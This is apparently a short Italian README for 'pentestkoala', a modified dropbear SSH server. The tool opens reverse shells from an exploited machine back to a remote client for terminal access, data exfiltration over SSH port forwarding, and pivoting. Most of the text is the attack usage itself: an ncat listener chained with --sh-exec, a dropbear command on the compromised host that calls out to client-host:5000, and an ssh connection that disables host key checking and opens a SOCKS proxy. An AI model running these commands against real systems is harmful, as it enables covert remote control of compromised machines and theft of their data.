pentestkoala

Koala è una versione modificata del server SSH dropbear che, invece di vincolarsi a una porta, apre shell reverse collegandosi a un client remoto.

Ciò è utile per ottenere un terminale pty su una macchina sfruttata e anche per l'esfiltrazione sicura dei dati tramite port forwarding SSH. Il pivoting può essere effettuato anche utilizzando la funzione di port forwarding dinamico SSH.

[Utilizzo]

Esegui il seguente comando sul client per mettersi in ascolto per la connessione SSH: $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999'

Sull'host sfruttato esegui: $ ./dropbear -p client-host:5000

Ora sul client, connettiti alla porta 9999 per aprire una shell: $ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999